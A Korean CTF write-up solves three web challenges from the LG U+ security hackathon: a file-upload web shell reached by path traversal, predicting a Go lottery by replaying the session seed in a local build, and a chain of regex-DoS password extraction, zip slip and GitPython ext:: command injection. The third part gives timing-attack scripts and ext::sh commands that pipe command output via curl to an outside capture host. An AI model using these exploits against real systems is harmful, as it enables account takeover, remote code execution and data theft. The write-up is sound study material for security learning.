LG U+ Security Hackaton Write up

LG U+ Security Hackaton 웹 3문제 다 풀진 못했지만,, 대회가 끝나고 올라온 롸업들을 보며 다시 풀어보고 정리해보았다.

1. Account Service

우선 블랙박스 문제다.

우선 로그인과 회원가입 기능이 있고,

회원가입에서는 프로필 이미지 업로드 기능이 있다.

이 부분에서 웹쉘 문제라고 바로 생각했다.

우선 클라이언트단에서 js로 png를 제외한 다른 이미지 파일은 허용되지 않게 했다.

하지만, burp로 아래와 같이 파일 확장자를 변경해서 request가 가능하다. 확장자와 content type도 아래와 같이 변경가능하고 내 경우에는 업로드시에는 png로 업로드를 하고 파일이름, 타입, 값을 수정해서 request를 하고 업로드가 된 응답값을 받을 수 있었다.

우선 정상적으로 회원가입 성공후

로그인을 하면 아래와 같이 page=main 경로로 렌더링되고 등록한 아바타가 보이게 된다. php 파일은 따로 request를 날렸기 때문에 응답값으로 받은 경로에 저장이 되었을거고 해당 path를 page= 여기 경로에 path traversal 취약점을 통해서 이동할 수 있을거라고 생각했다.

그래서 아래와 같이 request를 한 결과 flag를 획득할 수 있었다.

2. Martini

이 문제는 우선 내가 익숙하지 않은 go 언어가 있었지만, 문제로 주어진 코드들을 분석했을때 크게 어렵게 느껴지진 않았다. 하지만, 풀이 방법은 진짜 생각해낼 수 없었고 추후에 다른 분들의 롸업을 보고 다시 시도해본다..

우선 main.go 코드는 아래와 같다.

package main

import (
    "bytes"
    "fmt"
    "html/template"
    "math/rand"
    "net/http"
    "strconv"
    "regexp"
    "time"
    "io"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

type User struct {
    Name            string `form:"name" binding:"required"`
    RecommendNumber string
    Secret          int64
}

type NumbersForm struct {
    Numbers [6]int `form:"number" binding:"required"`
}

type Result struct {
    Message string
}

func main() {
    r := gin.Default()
    r.LoadHTMLGlob("templates/*")
    store := cookie.NewStore([]byte("secret"))
    r.Use(sessions.Sessions("session", store))

    r.GET("/", showIndex)
    r.POST("/submit_ready", submitReady)
    r.POST("/submit", submit)

    r.Run(":8080")
}

func showIndex(c *gin.Context) {
    c.HTML(http.StatusOK, "index.html", nil)
}

func submitReady(c *gin.Context) {
    session := sessions.Default(c)
    var user User

    user.Secret = time.Now().UnixNano()
    rand.Seed(user.Secret)
    user.RecommendNumber = strconv.Itoa(rand.Intn(101))

    session.Set("secret", user.Secret)
    session.Save()

    var buf []byte
    buf, err := c.GetRawData()
    if err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"message": "Invalid credentials"})
        return
    }
    re := regexp.MustCompile(`&.*`)
    buf = re.ReplaceAll(buf, []byte(""))
    re = regexp.MustCompile(`[{}]`)
    buf = re.ReplaceAll(buf, []byte(""))
    c.Request.Body = io.NopCloser(bytes.NewBuffer(buf))

    if err := c.ShouldBind(&user); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }

    str := fmt.Sprintf("{{.Name}}, Your Today's recommendation number is %s", user.RecommendNumber)
    tmpl, err := template.New("result").Parse(str)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    var result bytes.Buffer
    err = tmpl.Execute(&result, user)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    tmpl, err = template.ParseFiles("templates/result.html")
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    err = tmpl.ExecuteTemplate(c.Writer, "result.html", Result{Message: result.String()})
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
}

func submit(c *gin.Context) {
    session := sessions.Default(c)
    var form NumbersForm

    if err := c.ShouldBind(&form); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }

    secret := session.Get("secret").(int64)

    rand.Seed(secret)
    var generatedNumbers []int
    for i := 0; i < 6; i++ {
        generatedNumbers = append(generatedNumbers, rand.Intn(101))

    }

    isWinning := true
    for i := 0; i < 6; i++ {
        if form.Numbers[i] != generatedNumbers[i] {
            isWinning = false
            break
        }
    }

    if isWinning {
        c.HTML(http.StatusOK, "win.html", nil)
    } else {
        c.HTML(http.StatusOK, "lose.html", nil)
    }
}

우선 내 경우에 롸업을 보기전 아래와 같은 시도를 했었다. user의 secret값이 UnixNano()로 설정되기 때문에 세션을 복호화할 수 있다면 해당 시크릿값도 복호화가 되어서 이를 이용해 generateNumbers를 알 수 있을거라 생각했다.

package main

import (
    "encoding/base64"
    "fmt"
    "strings"
)

func main() {
    sessionCookie := "MTczMTczNjYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQWdBQm5ObFkzSmxkQVZwYm5RMk5BUUtBUGd3RUxxUk1CRGNGZz09fHpvx4lLVJcazxGLxhUlyxcUzcDWLxdXiZXdsUq5ozPD"

    // URL-safe Base64 디코딩
    decoded, err := base64.URLEncoding.DecodeString(sessionCookie)
    if err != nil {
        fmt.Println("Error with URLEncoding:", err)
        // RawURLEncoding도 시도
        decoded, err = base64.RawURLEncoding.DecodeString(sessionCookie)
        if err != nil {
            panic(err)
        }
    }

    // 파이프(|)로 분리된 부분 확인
    parts := strings.Split(string(decoded), "|")

    fmt.Printf("Raw decoded: %s\n", string(decoded))
    fmt.Printf("\nParts:\n")
    for i, part := range parts {
        fmt.Printf("%d: %s\n", i, part)

        // 각 부분을 다시 base64 디코딩 시도
        decodedPart, err := base64.URLEncoding.DecodeString(part)
        if err == nil {
            fmt.Printf("   Decoded: %s\n", string(decodedPart))
        }
    }
}

하지만 결과로 나오게되는 값은 UnixNano()를 보면 나노초까지 나오지만, 세션 쿠키에서는 초 단위까지만 저장되는 것 같았다.

그래서 나는 여기서 생각이 막혀서 다른 문제를 풀었지만,, 대회가 끝나고 다른 분의 롸업을 봤다.

해당 롸업에서는 정말 생각도 못했지만, 실제 서버에서 생성된 session 값을 도커환경에 넣고 아래와 같이

fmt.Println("Secret:", secret)
fmt.Println("Generated numbers:", generatedNumbers)

코드를 추가해서 다시 로컬에서 도커 빌드 후 secret값과 generateNumbers를 확인할 수 있다는 것이었다.

세션 정보를 알고, 세션을 이용해서 어떤 정보를 알아낼 수 있는 경우에는 이렇게 도커파일로 빌드가 가능하다면 이런 방법을 사용하는 것이 좋겠다고 생각했다..

그래서 수정된 코드는 아래와 같다.

package main

import (
    "bytes"
    "fmt"
    "html/template"
    "math/rand"
    "net/http"
    "strconv"
    "regexp"
    "time"
    "io"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

type User struct {
    Name            string `form:"name" binding:"required"`
    RecommendNumber string
    Secret          int64
}

type NumbersForm struct {
    Numbers [6]int `form:"number" binding:"required"`
}

type Result struct {
    Message string
}

func main() {
    r := gin.Default()
    r.LoadHTMLGlob("templates/*")
    store := cookie.NewStore([]byte("secret"))
    r.Use(sessions.Sessions("session", store))

    r.GET("/", showIndex)
    r.POST("/submit_ready", submitReady)
    r.POST("/submit", submit)

    r.Run(":8080")
}

func showIndex(c *gin.Context) {
    c.HTML(http.StatusOK, "index.html", nil)
}

func submitReady(c *gin.Context) {
    session := sessions.Default(c)
    var user User

    user.Secret = time.Now().UnixNano()
    rand.Seed(user.Secret)
    user.RecommendNumber = strconv.Itoa(rand.Intn(101))

    session.Set("secret", user.Secret)
    session.Save()

    var buf []byte
    buf, err := c.GetRawData()
    if err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"message": "Invalid credentials"})
        return
    }
    re := regexp.MustCompile(`&.*`)
    buf = re.ReplaceAll(buf, []byte(""))
    re = regexp.MustCompile(`[{}]`)
    buf = re.ReplaceAll(buf, []byte(""))
    c.Request.Body = io.NopCloser(bytes.NewBuffer(buf))

    if err := c.ShouldBind(&user); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }

    str := fmt.Sprintf("{{.Name}}, Your Today's recommendation number is %s", user.RecommendNumber)
    tmpl, err := template.New("result").Parse(str)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    var result bytes.Buffer
    err = tmpl.Execute(&result, user)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    tmpl, err = template.ParseFiles("templates/result.html")
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    err = tmpl.ExecuteTemplate(c.Writer, "result.html", Result{Message: result.String()})
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
}

func submit(c *gin.Context) {
    session := sessions.Default(c)
    var form NumbersForm

    if err := c.ShouldBind(&form); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }

    secret := session.Get("secret").(int64)

    rand.Seed(secret)
    var generatedNumbers []int
    for i := 0; i < 6; i++ {
        generatedNumbers = append(generatedNumbers, rand.Intn(101))

    }
    fmt.Println("Secret:", secret)
    fmt.Println("Generated numbers:", generatedNumbers)

    isWinning := true
    for i := 0; i < 6; i++ {
        if form.Numbers[i] != generatedNumbers[i] {
            isWinning = false
            break
        }
    }

    if isWinning {
        c.HTML(http.StatusOK, "win.html", nil)
    } else {
        c.HTML(http.StatusOK, "lose.html", nil)
    }
}

우선 실제 서버에 접속해서 실제 서버의 세션값을 받아온다.

그리고 도커를 빌드하고 로컬에서 해당 세션값으로 변경하고 아무 값이나 입력을 한 뒤 로그를 통해서 생성된 시크릿값과 generateNumbers를 확인할 수 있다.

해당 값을 입력하면 아래와 같이 flag를 획득할 수 있다.

3. Sleep

이 문제는 우선 대회에서 무려 한명밖에 못푼 문제,, Predic이 내 가까운 지인이라는게… (자랑좀할게요.. ㅋ)

 

무튼 해당 문제는 취약점 3개를 다 찾아야 풀 수 있는 문제였다.. 내 경우에는 1단계까지밖에 못 알아낸.. (이거도 엄청 오래 걸렸다.)

우선 가장 먼저 접속하게 되면 보이는 화면은 아래와 같다.

그리고 Forgot password를 누르면 아래와 같이 regex 즉 정규식을 입력할 수 있는 것을 보아 regex dos 취약점을 이용해 admin의 pw를 유추해내는 것으로 보였다. (여기까지는 나도 했던..)

그래서 routes.py를 확인해보면,

@app.route('/find_password', methods=['POST', 'GET'])
def find_password():
    if request.method == 'POST':
        username = request.form['username']
        user = User.query.filter_by(username=username).first()
        if not user:
            return 'User not found'

        r = request.form['regex']
        if not r or '*' in r or len(r) > 60:
            return '🙃'

        r = re.search(rf'{r}', user.password)

        return redirect(url_for('find_password'))
    return render_template('find_password.html')

*를 사용하지 못하도록 필터링이 된것을 볼 수 있고, 60자를 넘어서는 안된다.

*를 사용하지 않은 redos 구문을 사용해서 pw를 알아내야한다.

redos 취약점에 대해서는 https://www.hahwul.com/cullinan/redos/ 에서 참고를 했다.

app.py인 아래 코드를 확인해보면, admin의 pw는 urandom(16).hex()를 통해서 pw 길이를 알 수 있다.

  • urandom(16)은 16바이트의 랜덤 데이터를 생성
  • .hex()는 각 바이트를 2자리 16진수로 변환
  • 따라서 최종 길이는 16 * 2 = 32자리
from flask import Flask
from routes import app
from models import db
from models import User
from os import urandom

def init_db():
    try:
        db.drop_all()
    except Exception as e:
        print(f"Drop tables failed: {e}")

    try:
        db.create_all()
    except Exception as e:
        print(f"Create tables failed: {e}")

    # 관리자 계정 생성/확인
    try:
        admin_user = User.query.filter_by(username="admin").first()
        if not admin_user:
            admin = User(username="admin", password=urandom(16).hex(), isAdmin=True)
            db.session.add(admin)
            db.session.commit()
    except Exception as e:
        print(f"Admin user creation failed: {e}")
        db.session.rollback()

app.secret_key = "9b877e00bae2d971ac22568fec61d32050ebaaed5d60c080"
db.init_app(app)

# 앱 컨텍스트 내에서 데이터베이스 초기화
with app.app_context():
    init_db()

if __name__ == "__main__":
    app.run(debug=True, port=5022, host="0.0.0.0")

pw를 알아내기 위해서 작성한 코드는 아래와 같다. 시도하면서 에러가 날때 값을 pw에 추가해주면서 pw를 구했는데, 이게 번거로워서

import time
import requests

host = "http://localhost:5022/find_password"
a = "1234567890abcdef"
pw = ""

for i in range(1, 33):
    for j in a:
        tmp = pw + j
        print(tmp)
        regex = f"^(?={tmp})((.+)+)+salt$"
        start = time.time()

        r = requests.post(host, data={"username": "admin", "regex": regex}, timeout=2)
        end = time.time()

        if (end - start > 1):
            pw += j
            print(pw)
            break

아래처럼 코드를 짰다. 하지만,, 이게 잘 구하다가 중간중간 에러를 내지 못하거나 다른 부분에서 time이 초과되서 그런지 매끄럽게 작동하지는 않았다.

# fmt: off
import time
import requests
from requests.exceptions import ReadTimeout

host = "http://localhost:5022/find_password"
a = "1234567890abcdef"
pw = "04438ff096d72599f98cddb38cf49856" # 구한 pw

for i in range(1, 33):
    for j in a:
        tmp = pw + j
        print(tmp)
        regex = f"^(?={tmp})((.+)+)+salt$"

        try:
            start = time.time()
            r = requests.post(host, data={"username": "admin", "regex": regex}, timeout=3)
            end = time.time()

            if (end - start > 2.5):
                pw += j
                print(f"Found by delay: {pw}")
                break

        except ReadTimeout:
            # timeout이 발생한 경우도 성공으로 간주
            pw += j
            print(f"Found by timeout: {pw}")
            break

print(f"Final password: {pw}")

나만 그런건지 모르겠지만, 로컬에서 도커를 빌드하고 진행하면 계속 admin 비밀번호가 주기적으로 변경이 되어서 로컬에서는 그냥 db를 직접 cat으로 확인해서 로그인해봤었다. ㅋㅋ 그리고 사실 위 코드들도 왠지 모르겠지만, 조금은 이 과정에서 여러번 시행착오를 거쳐서 admin의 password를 구했다.

 

이제 실제 서버에서 구한 admin pw를 사용해 로그인을 하면 아래와 같이 접속이 된다.

이제 여기서 Upload를 확인해보면,

이렇게 Zip을 업로드할 수 있는 폼과 URL 즉 링크를 업로드할 수 있는 폼이 있다.

여기에서 코드 부분(routes.py)을 자세히보면, 두 가지 주요 취약점이 결합되어 있다:

  1. Zip Slip 취약점:
unpack_archive(f'/tmp/{filename}', f'./none-ready-repos/{name}')
  • 이 부분에서 압축 파일 내의 경로를 제대로 검증하지 않음
  • '../' 같은 경로 순회를 통해 의도하지 않은 디렉토리에 파일 작성 가능

이 취약점을 이용해서 바로 GitPython 이전 버전에서 RCE 취약점이 발생한게 있는데 이를 재현하는 것이다.

https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

Poc를 보면 아래와 같다.

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

해당 취약점을 요약해보면,

  • 취약점 원인: GitPython이 git 명령어를 실행할 때 사용자 입력값을 제대로 검증하지 않음
  • 공격 방법: 악의적으로 조작된 원격 URL을 clone 명령어에 주입
  • 취약점 조건: ext 전송 프로토콜이 활성화되어 있어야 함
  • 예: ext::sh -c command% arg1% arg2와 같은 형태로 명령어 실행 가능

으로 정리할 수 있다.

그래서 결국 문제 풀이의 핵심 포인트는 아래와 같이 /home/ctf 경로에 .gitconfig를 zipslip 취약점을 통해서 ext 프로토콜을 활성화시키도록 작성해서 주입하면 된다.

zipslip 도구 (https://github.com/0xless/slip) 를 활용해서 ../../../../home/ctf/.gitconfig 경로에 파일을 작성하도록 한다. 이때 —file-content 옵션으로 내용을 작성할 수 있는데 이때 줄바꿈 인식이 안되기 때문에, slip.py 코드를 아래처럼 수정했다.

def add_file(self, file_info, content, symlink=False):
        if symlink:
            file_info.type = SYMTYPE
            file_info.linkname = content

            # Without these the archive is considered broken by some softwares
            file_info.uid = file_info.gid = 0
            file_info.uname = file_info.gname = "root"

            # If you write something in the symlink file, it breaks the archive
            self.archive.addfile(file_info, None)
        else:
############################## 주석 처리 부분 ##############################
            if content == "test":  # 원래 test라고 되어있던 부분을
                content = """[protocol "ext"]
                allow=always"""  # 이렇게 변경
########################################################################
            with BytesIO(content.encode("utf-8")) as mem_file:
                mem_file.seek(0, SEEK_END)
                file_info.size = mem_file.tell()
                mem_file.seek(0, SEEK_SET)

                self.archive.addfile(file_info, mem_file)

수정한뒤에는 아래와 같이 slip.py를 실행해서 archive3.tar.gz를 만들어주고 archive3.tar로 확장자명을 수정한뒤,

python3 slip.py --archive-type tar --paths "../../../../home/ctf/.gitconfig" --file-content "test" archive3

아래와 같이 파일을 업로드 해주었다.

이렇게 업로드가 되면 아까 있었던 link 부분에 ext:: sh를 통해서 명령어를 실행할 수 있다.

 

이제 내 서버를 실행시켜서 해당 서버로 POST를 통해서 명령어 실행결과를 가져오도록 해야한다.

 

ext::sh -c ls% /% |% curl% -X% POST% -d% @-% https://tfhdzcm.request.dreamhack.games 와 같이 명령어를 작성해

그리고 내 서버에서 readflag-0wgFDsJa 실행 파일을 확인할 수 있다.

이제 이 것을 실행하면 → ext::sh -c /readflag-0wgFDsJa% /% |% curl% -X% POST% -d% @-% https://tfhdzcm.request.dreamhack.games 아래와 같이 flag를 획득할 수 있다.